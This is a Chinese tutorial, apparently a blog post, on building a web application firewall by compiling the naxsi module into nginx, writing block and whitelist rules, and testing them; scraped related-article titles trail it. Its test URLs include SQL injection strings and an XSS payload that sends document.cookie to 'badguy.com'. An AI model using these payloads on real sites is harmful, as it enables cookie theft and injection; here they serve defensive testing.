== 对于nginx有相应模块来完成WAF构建,此处使用的是naxsi模块。  ==

一、安装前提

  .必须安装了nginx并可提供基本服务(这个是添加模块儿的前提,自己google吧);
.下载naxsi模块:Naxsi :http://naxsi.googlecode.com/files/naxsi-core-0.50.tgz ; 二、安装说明 、tar -xzvf naxsi-core-0.50.tgz 解压,并进入naxsi-core-0.50/naxsi_src目录下;
、执行make & make install 命令,当然也可以使用 ./configure 指定安装位置等参数;
、完成安装后,需要将其与nginx关联起来:
》》在安装好的nginx/sbin/下执行./nginx -V 命令,可以查看到nginx的原有./configure配置,复制后并添加naxsi模块的路径如下。
对于此次安装 cd /app/uatg1/lua_install/tengine-1.4.(nginx的源文件目录)下
执行命令:./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
添加:--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
可以看到执行过程显示,最后可以看到,naxsi被关联,configure成功。
、对其执行 make & make install 命令,重新编译; 三、配置说明 官网说明见 : http://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi ;
、将naxsi的:naxsi-core-0.50/naxsi_config/目录下核心配置naxsi_core.rules拷贝到nginx/conf/目录下;
、在nginx/conf/目录下新建naxsi_nbs.rules文件,用以配置使用;
、在nginx.conf中配置:
>、添加naxsi核心配置 ? http {
#include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules;
#若步做上第一步,则需要指定全路径
include naxsi_core.rules;
include mime.types;
.....
} >、 ? # 配置防攻击
location /xss {
include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #设置 whitelist (白名单)配置
default_type text/plain; content_by_lua '
ngx.say("({\'Test xss ,come in please!!!\'})");
'; root html;
} location /RequestDenied { return ;
#proxy_pass [http://10.142.138.61:7130/eop/; http://10.142.138.61:7130/eop/;
]}
error_page /.html; # 在nginx/html/目录下新建的页面用来提示拦截 >、配置naxsi_nbs.rules文件 ? #LearningMode; #Enables learning mode
SecRulesEnabled;
#SecRulesDisabled;
DeniedUrl "/RequestDenied"; ## check rules
CheckRule "$SQL >= 8" BLOCK;
CheckRule "$RFI >= 8" BLOCK;
CheckRule "$TRAVERSAL >= 4"
BLOCK; CheckRule "$EVADE >= 4" BLOCK;
CheckRule "$XSS >= 8" BLOCK; 、还可以添加白名单naxsi_BasicRule.conf
测试使用:
BasicRule wl: "mz:$ARGS_VAR:script";
BasicRule wl: "mz:$ARGS_VAR:id";
表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截; ? BasicRule:规则说明,具体参见: http://code.google.com/p/naxsi/wiki/BasicRule
wl:ID (WhiteList): Which rule ID(s) are whitelisted.
mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx location context to enable a rule.
◦ARGS : GET args
◦HEADERS : HTTP Headers
◦BODY : POST args
◦URL : The URL (before '?')
◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content.
For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables. 四、测试使用说明
、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
、测试链接: ? http://10.142.138.61:8888/xss/ 通过
http://10.142.138.61:8888/xss/?id=40/**/and/**/1=1 通过,因为配置到白名单
http://10.142.138.61:8888/xss/?name=40/**/and/**/1=1 不通过,含有条件注入
http://10.142.138.61:8888/xss/?name=%28%29 不通过,特殊字符
http://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E
不通过,参数内容含脚本注入
http://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22
不通过

Nginx使用naxsi防xss、防注入攻击配置的更多相关文章

  1. PHP防XSS 防SQL注入的代码

    作为开发人员时刻要记住一句话,永远不要相信任何用户的输入!很多时候我们的网站会因为我们开发人员写的代码不够严谨,而使网站受到攻击,造成不必要的损失!下面介绍一下如何防止SQL注入! 这里提供了一个函数 ...

  2. asp.net防SQL/JS注入攻击:过滤标记

    /// <summary>/// 过滤标记/// </summary>/// <param name="NoHTML">包括HTML,脚本,数据 ...

  3. 【记录】ASP.NET XSS 脚本注入攻击

    输入进行 Html 转码: HttpUtility.HtmlEncode(content); 输入保留 Html 标记,使用 AntiXSS 过滤: Install-Package AntiXSS M ...

  4. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  5. Spring MVC 如何防止XSS、SQL注入攻击

    在Web项目中,通常需要处理XSS,SQL注入攻击,解决这个问题有两个思路: 在数据进入数据库之前对非法字符进行转义,在更新和显示的时候将非法字符还原 在显示的时候对非法字符进行转义 如果项目还处在起 ...

  6. 注入攻击-XSS攻击-CSRF攻击

    1.注入攻击 注入攻击包括系统命令注入,SQL注入,NoSQL注入,ORM注入等 1.1攻击原理 在编写SQL语句时,如果直接将用户传入的数据作为参数使用字符串拼接的方式插入到SQL查询中,那么攻击者 ...

  7. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  8. 安全防御之防xss、SQL注入、与CSRF攻击

    XSS攻击 个人理解,项目中最普通的就是通过输入框表单,提交js代码,进行攻击例如在输入框中提交 <script>alert("我是xss攻击");</scrip ...

  9. 关于在线文本编辑器防XSS注入攻击问题

    跨站脚本攻击,又称XSS代码攻击,也是一种常见的脚本注入攻击.例如在下面的界面上,很多输入框是可以随意输入内容的,特别是一些文本编辑框里面,可以输入例如<script>alert('这是一 ...

随机推荐

  1. [Contest20180311]朋友

    是毒瘤的friends呢~ 注意到“产生感情”和后缀自动机的$Right$集合定义很像,所以先对所有串建广义sam,那么一个节点$s$里的所有串都互相产生感情,而从起点走到$s$走最长路所经过的节点里 ...

  2. 求一个整数个位数之和 Exercise06_02

    import java.util.Scanner; /** * @author 冰樱梦 * 时间:2018年下半年 * 题目:求一个整数个位数之和 * */ public class Exercise ...

  3. C#正则表达式开源工具

    先交代一下背景,最近工作中经常用到正则表达式,而正则表达式这个东西我个人觉得很鸡肋,不用吧,有些功能实现起来会很麻烦.用吧,又不是说工作中经常用到,只是有时候有些需要求用到而已.但是正则表达式只要一段 ...

  4. linux下分区相关知识

    Linux 规定了主分区(或者扩展分区)占用 1 至 16 号码中的前 4 个号码.以第一个 IDE 硬盘为例说明,主分区(或者扩展分区)占用了 hda1.hda2.hda3.hda4,而逻辑分区占用 ...

  5. linux 账户锁与解锁

    ,sudo passwd -l user 锁住user帐号,su 已经不能切换到user下. 2,sudo passwd -u user 解锁user帐号,su可以切换到user下. 3,如果不小心把 ...

  6. ASP.NET Core 1.0基础之日志

    过年出去玩了一圈,回来继续翻译.前两天偷懒没有翻译,只是转了两篇C# 7计划中的新features,大家还是很支持的.现在继续完善这个系列. 来源https://docs.asp.net/en/lat ...

  7. Scut游戏服务器免费开源框架--快速开发(3)

    Scut快速开发(3) 1     开发环境 Scut Lib版本:5.2.3.2 需要安装的软件 a)        IIS和消息队列(MSMQ) b)        数据库,Sql2005以上版本 ...

  8. css自动换行与不换行

    1.自动换行 div{ word-wrap: break-word; word-break: normal; } 2.不换行 div{ white-space:nowrap; } 3.浮动效果不换行 ...

  9. 针对WebLogic Server 12.1.3版本打补丁

    先去下载补丁文件,在链接 https://support.oracle.com/epmos/faces/DocumentDisplay?_afrLoop=179118524484876&id= ...

  10. 判断浏览器是否支持 JS

    在有些浏览器中不支持(或者被禁用了)脚本语言,那么javascript脚本则无法被执行.但是用户并不知道浏览器是否支持,或者被禁用.我们可以通过<noscript>标签来告知用户,JS脚运 ...